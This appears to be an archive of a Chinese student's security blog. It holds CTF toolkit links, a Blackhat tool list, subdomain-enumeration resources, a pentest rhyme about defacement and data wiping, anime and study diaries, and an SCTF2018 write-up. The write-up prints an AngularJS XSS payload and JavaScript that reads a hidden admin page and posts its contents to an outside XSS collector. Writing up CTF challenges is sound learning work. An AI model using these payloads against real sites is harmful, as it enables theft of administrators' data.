harmoc

作者： <span>harmoc</span>

千剑

个人CTFTool…

2018年10月6日2018年10月6日
by harmoc

最初刚打ctf时候，拿精灵表哥和其他大神整理的工具包做的开端。

现在虽说不能算CTF老手吧，勉强算个熟手。把我积累的工具包分享一下，希望能有固定的人喜欢上CTF。

最近学弟学妹们也开始带新人了，就把自己github的仓库更新了一下，整理了一份给新人。里面有因为比赛特有trick找的，有公认比较好用的，还有一些从各种各样的地方收集来的工具。

emmm，在t00ls放了一份，顺手也放到blog好了。

第一个上10star的项目233333

Github地址：
https://github.com/Harmoc/CTFTools

随笔

《雪国》与意识流

2018年9月6日2018年9月13日
by harmoc

考研路乏味，番茄时间之间想有些休憩，而赛博空间诱惑又太多，把kindle拿到了自习室，烦躁时翻上几页。

看鲁迅的思考和汪曾祺的味道之余，把从白色相簿2浮气线时便记住的《雪国》读了。没怎么读明白，却是有种难以言表的怅惘。

今天不知怎么的想起了意识流，恍惚间又想起雪国，才意识到雪国里用了很多意识流的手法。啧，不得不说号称最美的诺奖作品确有其优秀之处。

病态、纤细的美。

千剑

Blackhat2…

2018年8月27日
by harmoc

Android，iOS和移动黑客

易受攻击的iOS应用程序：Swift版

https://github.com/prateek147/DVIA-v2

代码评估

OWASP依赖性检查

https://github.com/jeremylong/DependencyCheck

美洲狮扫描

https://github.com/pumasecurity/puma-scan

加密

DeepViolet：SSL / TLS扫描API和工具

https://github.com/spoofzu/DeepViolet

数据取证和事件响应

初学者到专家

https://github.com/bro/bro

CyBot：开源威胁情报聊天机器人

https://github.com/CylanceSPEAR/CyBot

LogonTracer

https://github.com/JPCERTCC/LogonTracer

rastrea2r（重新加载！）：用Gusto和Style收集和狩猎IOC

https://github.com/rastrea2r/rastrea2r

RedHunt OS（VM）：用于对手仿真和威胁搜索的虚拟机

https://github.com/redhuntlabs/RedHunt-OS

剥削与道德黑客

AVET：AntiVirus Evasion Tool

https://github.com/govolution/avet

DSP：Docker安全游乐场

https://github.com/giper45/DockerSecurityPlayground

hideNsneak：攻击混淆框架

https://github.com/rmikehodges/hideNsneak

梅林

https://github.com/Ne0nd0g/merlin

RouterSploit

https://github.com/threat9/routersploit

硬件/嵌入式

ChipWhisperer

https://github.com/newaetech/chipwhisperer

JTAGulator ：揭开硬件安全的致命弱点

https://github.com/grandideastudio/jtagulator

Micro-Renovator：将处理器固件带入代码

https://github.com/syncsrc/MicroRenovator

TumbleRF：RF模糊变得容易

https://github.com/riverloopsec/tumblerf

Walrus：充分利用您的卡片克隆设备

https://github.com/TeamWalrus/Walrus

物联网

物联网设备的可扩展动态分析框架

https://github.com/sycurelab/DECAF

BLE CTF项目

https://github.com/hackgnar/ble_ctf

WHID注射器和WHID Elite：新一代HID攻击性设备

https://github.com/whid-injector/WHID

恶意软件防御

为每位安全研究人员提供高级深度学习分析平台

https://github.com/intel/Resilient-ML-Research-Platform

EKTotal

https://github.com/nao-sec/ektotal

固件审计：Blue Teams和DFIR的平台固件安全自动化

https://github.com/PreOS-Security/fwaudit

MaliceIO

https://github.com/maliceio/malice

目标 – 参见MacOS安全工具

https://github.com/objective-see

恶意软件进攻

BloodHound 1.5

https://github.com/BloodHoundAD/BloodHound

网络攻击

军械库

https://github.com/depthsecurity/armory

Chiron：一种先进的IPv6安全评估和渗透测试框架

https://github.com/aatlasis/Chiron

DELTA：SDN安全评估框架

https://github.com/OpenNetworkingFoundation/DELTA

Mallet：任意协议的拦截代理

https://github.com/sensepost/mallet

PowerUpSQL：用于在企业环境中攻击SQL Server的PowerShell工具包

https://github.com/NetSPI/PowerUpSQL

WarBerryPi

https://github.com/secgroundzero/warberry

网络防御

ANWI（全新无线IDS）：5美元的WIDS

https://github.com/SanketKarpe/anwi

CHIRON：基于家庭的网络分析和机器学习威胁检测框架

https://github.com/jzadeh/chiron-elk

云安全套件：AWS / GCP / Azure安全审计的一站式工具

https://github.com/SecurityFTW/cs-suite

DejaVu：一个开源欺骗框架

https://github.com/bhdresh/Dejavu

OSINT – 开源智能

DataSploit 2.0

https://github.com/DataSploit/datasploit

Dradis 框架：了解如何将报告时间缩短一半

https://github.com/dradis/dradis-ce

逆向工程

Snake：恶意软件存储动物园

https://github.com/countercept/snake

智能电网/工业安全

GRFICS ：工业控制模拟的图形现实主义框架

https://github.com/djformby/GRFICS

漏洞评估

用于机器学习模型的对抗鲁棒性工具箱

https://github.com/IBM/adversarial-robustness-toolbox

Android动态分析工具（ADA）

https://github.com/ANELKAOS/ada

射箭：开源漏洞评估和管理

https://github.com/archerysec/archerysec

boofuzz

https://github.com/jtpereyda/boofuzz

BTA

https://github.com/airbus-seclab/bta

深度利用

https://github.com/13o-bbr-bbq/machine_learning_security/tree/master/DeepExploit

Halcyon IDE：适用于Nmap脚本开发人员

https://github.com/s4n7h0/Halcyon

SimpleRisk

https://github.com/simplerisk

TROMMEL

https://github.com/CERTCC/trommel

Web AppSec

看看NGINX的ModSec 3.0：软件Web应用程序防火墙

https://github.com/SpiderLabs/ModSecurity

Astra：REST API的自动安全测试

https://github.com/flipkart-incubator/Astra

Burp Replicator：自动化复杂漏洞的复制

https://github.com/PortSwigger/replicator

OWASP进攻性Web测试框架

https://github.com/owtf/owtf

OWASP JoomScan项目

https://github.com/rezasp/joomscan

WSSAT

https://github.com/YalcinYolalan/WSSAT

后记：
感谢t00ls 雨苁cong表哥的整理。
https://www.t00ls.net/thread-47249-1-1.html

随笔

邪王真眼是最强的！

2018年7月21日
by harmoc

又感受到这种追了很长时间的番完结时的满心祝福和怅然若失.

最近过得是真的不痛快。每天被数学折磨得要死，天天都在自我怀疑和自我肯定之间徘徊。前些天朋友约了7.21的DFJK，于是今天中断了一天复习来了实验室比赛。盯了一天，最终成绩惨不忍睹，失落而焦虑。

昨晚在b站看到了森凸的一些剧场版片段，越看越感觉不对劲，看那字幕，应该明显有成片了才对。去贴吧找了找，看到了b站买了Take on me的消息。当时就有点小雀跃，美好的感情是很适合在bilibili看弹幕的，大家一起紧张一起笑，观影体验极佳。

《中二病》的基调一直是欢乐、美好又带点小波折的。凸守的战锤，丹生谷的圣歌，七宫的魔法，学姐的冷笑话（这次有句冷笑话是真的get到了），让人想到从最初到现在的几年戏里戏外。

六花还是那么中二那么萌，勇太依旧有担当。看得可以说非常舒心。除了有点嫉妒勇太。世界终于彻底的take on他们，六花也终于take on the world。即便是中二病也要谈恋爱。

二次元的爱情一直这么坚定，不管有什么误会，有什么阻力，只要两个人互相喜欢着，就可以看得到未来。去年看月色真美的时候就这么想。这种纯粹，真的是很羡慕，也是现实难得的。

关于制作，真心赞美京阿尼。好得没话说。虽说不如紫罗兰那么炫技，但也绝对是超过一般优秀的水平的。彩蛋也看得人会心一笑，欸，话说居然没有轻音的彩蛋呢。

写完漫评，我也该回去继续学习了。人也许一定是要生活在现实之中，但心和梦是绝对可以无限之大的。引用第一季的结尾：人其实是一辈子都活在中二病里的！

总而言之，邪王真眼是最强的！

Security notes

前言

被考研和期末压迫，感觉很久没有写过什么了。技术几乎负增长。只希望考研能有个好结果。
言归正传，今天忙里偷闲，来看看代码审计大佬phith0n的blog。关注这大佬好久了，最初貌似是看群里人说到上面话题时候说了P神。。当时还以为说pcat呢。。。
不过貌似很早很早就在用他的成果了，当初在github fork了一份Mind-Map，后来才知道这也是大佬做的。Github timeline还他娘的基本是绿的，真是比你强的人还比你努力。

正体

p牛研究得太靠前了。。。先从CTF这方面入手。。。
欸，永远还有好多要学。

1.phpjiami 数种解密方法

大佬在pwnhub出的题，无缘一见。

考点有二：其一，由 phpjiami.com 加密过的源码还原。其二，上传取后缀方式不同导致的文件上传漏洞。

关于第一条，我也尝试了一下，发现思路根本打不开，最多能想到分析opcode之类的也许会有用。

读了一下文章，给出了四种解法：代码分析、HOOK EVAL、手工dump、动态debug。

个人感觉，这几种方法技术难度依次递减，代码分析流程类似常规re，HOOK EVAL用将PHP底层函数zend_compile_string拦截eval，手工dump动态包含，动态调试就单步调试即可。

解法永远是多样的，解题唯一怕的就是思路僵化。其实折磨人的数学也是如此。希望思维能再灵活一点。话说，想不到往往其实就是思考的根基不牢。不求甚解是阻碍部分人进步的一大阻力。

2.Pwnhub 第一次线下沙龙竞赛Web题解析

收个trick：如果Wireshark没有明确说这是什么协议的时候，就直接看看目标端口，搜一下就知道默认是什么服务了。

几个点：ss的数据分析及加密；file_put_contents的trick；chrome auditor bypass；又双叒叕是CSP，不过是CSP机制的延伸考点。

得多读PHP手册。
CSP机制没想到有那么多可玩点。
搜集信息的途径还不够
wireshark分析思路不成系统。

3.待更...

后记

才看了两篇就又没有时间了。。。唉，考研实在是把时间填的很满。

千剑

子域名查找整理

2018年7月11日2018年7月11日
by harmoc

Misc

使用Google、Bing搜索语法进行子域名的查找。比如site:xx.com就能找到xx.com的部分子域名

加上文件搜索site:xx.com filetype:doc|docx|pdf|xls|txt|mdb|ppt又能搜索出另一部分子域名。

在常用的域名前加上oa、zabbix、nagios、cacti、erp、sap、crm等前缀构造二级或者三级域名

查找备案号:http://www.beianbeian.com/search-1/%E4%BA%ACICP%E8%AF%81030173%E5%8F%B7

智能DNS暴力破解软文章:https://www.foo.be/papers/sdbf.pdf

流行的子域名前缀：https://github.com/bitquark/dnspop/tree/master/results

（非官方）用于https://dnsdumpster.com/的 Python API：https://github.com/PaulSec/API-dnsdumpster.com

在线搜索

在线查找

VirusTotal: https://www.virustotal.com/#/home/search
dnsdumpster:https://dnsdumpster.com/
hackertarget：https://hackertarget.com/
netcraft：http://searchdns.netcraft.com/
dnsdumpsterhttps://dnsdumpster.com/
threatcrowd：https://www.threatcrowd.org/
riddler：https://riddler.io/
passivetotal：https://api.passivetotal.org
censys：https://www.censys.io
cloudpiercer：https://cloudpiercer.org/
shodan: https://api.shodan.io
dnsdb：http://www.dnsdb.org/f/
DNSdigger：http://www.dnsdigger.com/
dnsdb_info：https://www.dnsdb.info/
全球DNS搜索引擎：https://dnsdb.io/zh-cn/
子域名爆破：http://www.itxueke.com/tools/subdomain/
domains-index.com：domains-index.com
子域名查询：http://domain.hide.city/
微步：https://x.threatbook.cn/
子域名查询: https://phpinfo.me/domain/
爱站网子域名反查: https://dns.aizhan.com/
云悉：http://www.yunsee.cn/
子域名爆破：http://i.links.cn/subdomain/
scans.io：https://scans.io/
T00ls：https://www.t00ls.net/domain.html
findsubdomains：https://findsubdomains.com/
securitytrails：https://securitytrails.com/dns-trails
find-subdomains-of-domain:https://pentest-tools.com/information-gathering/find-subdomains-of-domain

通过AS号( Autonomous System Numbers)进行查找：

https://asn.cymru.com/cgi-bin/whois.cgi
http://bgp.he.net/
https://nmap.org/nsedoc/scripts/targets-asn.html

证书透明度：

证书透明度（英语：Certificate Transparency，简称CT）也称证书透明、证书透明化，它是一个实验性的IETF开源标准和开源框架，目的是监测和审计数字证书。通过证书日志、监控和审计系统，证书透明度使网站用户和域名持有者可以识别不当或恶意签发的证书，以及识别数字证书认证机构（CA）的作为。而其中SSL/TLS证书通常包含域名、子域名和电子邮件，直接可以作为子域名搜索的方法之一。
https://crt.sh/ （如%.twitter.com）
https://censys.io/
https://developers.facebook.com/tools/ct/
https://google.com/transparencyreport/https/ct/
https://certspotter.com/api/v0/certs?domain=example.com

参考：

https://www.t00ls.net/viewthread.php?tid=46568&highlight=%E5%AD%90%E5%9F%9F%E5%90%8D
https://blog.appsecco.com/a-penetration-testers-guide-to-sub-domain-enumeration-7d842d5570f6
https://blog.sweepatic.com/art-of-subdomain-enumeration/amp/?__twitter_impression=true
https://www.anquanke.com/post/id/84764
https://github.com/We5ter/Scanners-Box/blob/master/README_CN.md

前事

年中总结

2018年7月11日
by harmoc

最早接触安全是在微博上看到一则新闻：中国红客联盟向XXX宣战. 一时兴起，查了一下这到底是个什么组织。感觉蛮有趣，就这么去了冰儿那个红盟待了一段时间。后来了解到这不是真红盟，又辗转去了Lion那个，还加了红盟高校群。我这辣鸡学校没想到还成了入场券。

娱乐圈是真的害人。

进去高校群，恰逢半死不活的红盟想挣扎一下，有个管理、组织了一些技术分享，也算是拓展了知识面。再后来，大家都忙，这个分享活动也慢慢的凉了。我也慢慢的去打CTF了。

今年年初，CTF交流群的群友发过几篇土司技术文章，了解到了土司。三月份，交了篇文章加了进来。之后第二天还是第三天违反版规，tubi被扣到负数，贼可怕。当时便感觉土司是真的很严格。就在前些日子，迷茫地不行，在土司问过。好多老哥，给了很多中肯的建议。那时才感觉土司真的是个优秀的论坛。

从17年11月的LCTF到18年6月的SCTF，我短暂的CTF生涯就不得不中止了。大三、要考研了，想考去天枢，不想继续被虐了。本校没有队友，永远是单刷，最多和网上朋友组个队。至今还没有享受过有固定战友的氛围。希望能有个好结果。

个人经历之后，想再说说环境的变化。刚了解到网安不久，乌云就跪了。以致于我都不记得到底有没有注册过乌云。没赶上对白帽子比较友好的时代。感觉乌云的模式是真的很适合学习。可惜了。

再往后，领导人出任网络安全小组组长、网络安全法实施，感觉网络安全莫名其妙地就变火了。不像当年我都从来没有听过这个名词。

下半年惟愿考研成功，得以加入天枢。我还想打出一点点成就呢。没有队友真的容易懈怠。

Security notes

渗透三字经

2018年7月3日
by harmoc

进谷歌找注入

没注入就旁注

没旁注用0day

没0day 猜目录

没目录就嗅探

拿不下去自杀

爆账户找后台

传小马放大马

拿权限挂页面

放暗链清数据

T00ls老哥给的渗透三字经233333，有意思。

Write up

SCTF2018-…

2018年6月21日2018年6月21日
by harmoc

前言

太菜了，还是太菜了。我已经沦为MISC选手了QAQ，一道Web没做出来（PHPmyadmin学弟做的）。。。愧为Web狗。

不过。。。这次超过天枢了，好开心。（虽说人家没有认真打）

正体

MISC-Modbus

查了下Modbus，是个工控协议。随手右键看了下TCP流，没想到直接就有flag....
什么鬼。

MISC-侧信道初探

这个算是学到了一点点。查了下侧信道的内容。题目给的文件是一个算法和一个图片。
直接看图片里下降沿，按二进制读取即为flag

MISC-肥宅快乐题

打游戏就给flag，不过真正的肥宅都懒得打，我用Flash反编译找的flag。。。
多亏potplayer强大，能直接拖进度条跳帧。拖到后面找到了flag，但那字体1和l分不清，于是在反编译里查了附近的字段。直接定位，base64 decode，flag complete.

Web-新的建议版

这题XSS都成功了，就是不知道下一步怎么利用。毕竟只能打自己。。。
payload：

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(alert(1))//');}}

页面引用了AngularJS 1.4.6，对应版本有漏洞
怼了两天没做出来。。。。
等大佬们的flag吧。。。。

找到了一份Harries师傅的wp，MMP哟。原来提交留言管理员那里也会触发一遍。。。有句mmp我一定要说。

后台并不在公网上，http://127.0.0.1:1002/admin

构造payload读后台：

$.ajax({
    url: "/admin",
    type: "GET",
    dataType: "text",
    success: function(result) {
        var code = btoa(encodeURIComponent(result));
        xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
    },
    error: function(msg) {

    }
})

function xssPost(url, postStr) {
    var de;
    de = document.body.appendChild(document.createElement('iframe'));
    de.src = 'about:blank';
    de.height = 1;
    de.width = 1;
    de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
    de.contentDocument.forms[0].submit();
    de.style.display = 'none';
}

在js脚本里写入读取后台页面的代码，提交留言，收到 /admin 页面的内容

在base64跟url解码之后，拿到 /admin 页面

我们可以看到有个文件管理页面，继续修改js访问 /admin/file

这里需要输入文件密码才能访问，接下来找一下文件密码

在一开始的首页里有个 min-test.js ，这里泄露了admin模板文件 view/admintest2313.html ，在这个模板中发现一个备忘录的接口

猜测这是在看 admintest2313 用户的备忘录，然后我们从获取到的后台页面中发现了 adminClound 这个用户名

拿到文件密码后，构造post包访问 /admin/file

$.ajax({
    url: "/admin/file",
    type: "POST",
    data: "filepasswd=HGf%5E%2639NsslUIf%5E23",
    dataType: "text",
    success: function(result) {
        var code = btoa(encodeURIComponent(result));
        xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
    },
    error: function(msg) {

    }
})

即得flag。
太菜了，太菜了。。。。
想不到，想不到。。。。

Web-PHPmyadmin

这题学弟在群里看到了某师傅发的截图，尽管打了码，不过还是看到了师傅用的一句话的名字，爆破了密码。。。直接拿的flag。。。
真是多亏他的防撤回。。。QAQ

Crypto-it may contain 'flag'

nec都给了，数量级相同，用e指数攻击，维纳攻击，可解出d

而后解出：

n = 356096033429997161372356441930246707554046995590506452306084931488519008238592151695866774341246347160182054216879883209187019942641996111166252052256475412435016177136773967956292472785118669272929844214105480922945372638910276569650465033695573697459823872295312452877368652943145314840314022954151337366463
d = 731297
c = 0xd19d63015bdcb0b61824237b5c67cb2ef09af0c6cd30e193ff9683357b1e45ab4df607b8c1e0b96cafc49a84d7e655c3ce0f71b1d217eec9ca6cdfa57dd3dc92533b79431aa8a7d6ca67ac9cdd65b178a5a96ab7ce7bf88440f4a9b9d10151b0c942a42fdab9ea2c2f0c3706e9777c91dcc9bbdee4b0fb7f5d3001719c1dd3d3
mingwen = pow(c,d,n)
print (hex(mingwen))

Crypto-a number problem

x**33=1926041757553905692219721422025224638913707 mod 3436415358139016629092568198745009225773259
tell me the smallest answer of x

这题我还问了我爸到底是个啥原理，算是巧了，，，我爹数学系出身。。。余数定理，我爹说小时候还跟我玩过这个游戏。。。

a = b mod c
====>
a mod c == b mod c

然鹅手写是跑不出来的，最后还是队友用wolframalpha输入等式直接出的。。。。

作者： <span>harmoc</span>

前言

正体

1.phpjiami 数种解密方法

2.Pwnhub 第一次线下沙龙竞赛Web题解析

3.待更...

后记

Misc

在线搜索

在线查找

通过AS号( Autonomous System Numbers)进行查找：

证书透明度：

参考：

进谷歌 找注入

没注入 就旁注

没旁注 用0day

没0day 猜目录

没目录 就嗅探

拿不下 去自杀

爆账户 找后台

传小马 放大马

拿权限 挂页面

放暗链 清数据

前言

正体

MISC-Modbus

MISC-侧信道初探

MISC-肥宅快乐题

Web-新的建议版

Web-PHPmyadmin

Crypto-it may contain 'flag'

Crypto-a number problem

进谷歌找注入

没注入就旁注

没旁注用0day

没目录就嗅探

拿不下去自杀

爆账户找后台

传小马放大马

拿权限挂页面

放暗链清数据